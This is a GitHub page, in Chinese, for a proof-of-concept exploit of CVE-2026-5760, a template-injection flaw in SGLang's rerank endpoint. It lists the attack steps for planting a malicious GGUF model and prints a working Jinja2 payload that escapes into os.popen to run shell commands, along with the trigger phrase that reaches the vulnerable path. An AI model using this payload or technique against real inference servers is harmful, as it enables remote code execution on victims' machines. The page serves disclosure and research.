Stuub/SGLang-0.5.9-RCE
GitHub: Stuub/SGLang-0.5.9-RCE
演示 SGLang 0.5.9 中通过恶意 GGUF 触发未沙箱化 Jinja2 导致 RCVE-2026-5760 的 PoC 工具。
Stars: 2 | Forks: 2
# SGLang SSTI 到 RCE 的 PoC — 未沙箱化的 Jinja2 聊天模板渲染(CVE-2026-5760)
通过服务器端模板注入(SSTI)在 SGLang 的重新排序端点中实现远程代码执行。恶意 GGUF 模型文件在加载到 SGLang 并调用 `/v1/rerank` 端点时,若其包含精心构造的 `tokenizer.chat_template`,即可实现任意代码执行。
## 功能特性
利用 [SGLang](https://github.com/sgl-project/sglang) 中的关键严重性漏洞,通过未沙箱化的 Jinja2 模板渲染。SGLang 的重新排序端点(`/v1/rerank`)使用 `jinja2.Environment()` 而非 `ImmutableSandboxedEnvironment` 来渲染模型提供的聊天模板,从而允许恶意模型在推理服务器上执行任意 Python 代码。
这与影响 llama-cpp-python 的 [CVE-2024-34359](https://github.com/advisories/GHSA-56xg-wfcc-g829)(“Llama Drama”)属于同一漏洞类别。
## 攻击步骤
1. 攻击者创建一个带有恶意 `tokenizer.chat_template` 的 GGUF 模型文件,其中包含 Jinja2 SSTI 载荷。
2. 该模板包含 Qwen3 重新排序器触发短语,以激活 `serving_rerank.py` 中的易受攻击代码路径。
3. 受害者下载并在 SGLang 中加载该模型(例如从 HuggingFace)。
4. 当任何请求到达 `/v1/rerank` 时,SGLang 读取 `chat_template` 并使用 `jinja2.Environment()` 进行渲染 —— **无沙箱**。
5. SSTI 载荷在服务器上执行任意 Python 代码。
## 易受攻击的代码
**文件:** `python/sglang/srt/entrypoints/openai/serving_rerank.py`
```
# serving_rerank.py 第 128-132 行 — UNSANDBOXED
def _get_jinja_env():
return jinja2.Environment( # <-- Should be ImmutableSandboxedEnvironment
loader=jinja2.BaseLoader(),
autoescape=False,
undefined=jinja2.Undefined,
)
```
## 使用方法
该 PoC 生成一个恶意 GGUF 文件,并通过 SGLang 的未沙箱化渲染路径演示代码执行。
传递任意 shell 命令作为参数 —— 默认为 `id`。
## SSTI 载荷
嵌入在 GGUF 文件中的恶意聊天模板:
```
MALICIOUS_TEMPLATE = (
'The answer can only be "yes" or "no".\n'
'{{ lipsum.__globals__["os"].popen("echo SGLANG_RCE_CONFIRMED").read() }}'
'{% for message in messages %}{{ message["content"] }}{% endfor %}'
)
```
- 触发短语(`The answer can only be "yes" or "no"`)是激活 SGLang Qwen3 重新排序器检测所必需的,它将请求路由到易受攻击的 `_render_jinja_chat_template()` 路径。
- `lipsum.__globals__["os"].popen()` 逃逸 Jinja2 上下文以执行任意操作系统命令。
## 参考
- [CVE-2026-5760](https://www.cve.org/CVERecord?id=CVE-2026-5760)
- [CVE-2024-34359](https://github.com/advisories/GHSA-56xg-wfcc-g829) — llama-cpp-python 中相同漏洞类别
- [CVE-2025-61620](https://github.com/advisories/GHSA-6fvq-23cw-5628) — vLLM 中的聊天模板 DoS(相同攻击面)
- [SGLang GitHub](https://github.com/sgl-project/sglang)
- CWE-1336:模板引擎中未适当隔离特殊元素
- CWE-94:未适当控制代码生成
## 免责声明
本工具仅供授权的安全研究与教育用途。请负责任地使用。
标签:CVE-2026-5760, GGUF, HuggingFace, Jinja2, OpenAI API, PoC, Python代码执行, RCE, rerank, SGLang, SSTI, 不可信模板, 大模型安全, 实时告警, 暴力破解, 服务器端模板注入, 模型文件注入, 编程工具, 远程代码执行, 逆向工具, 重排序端点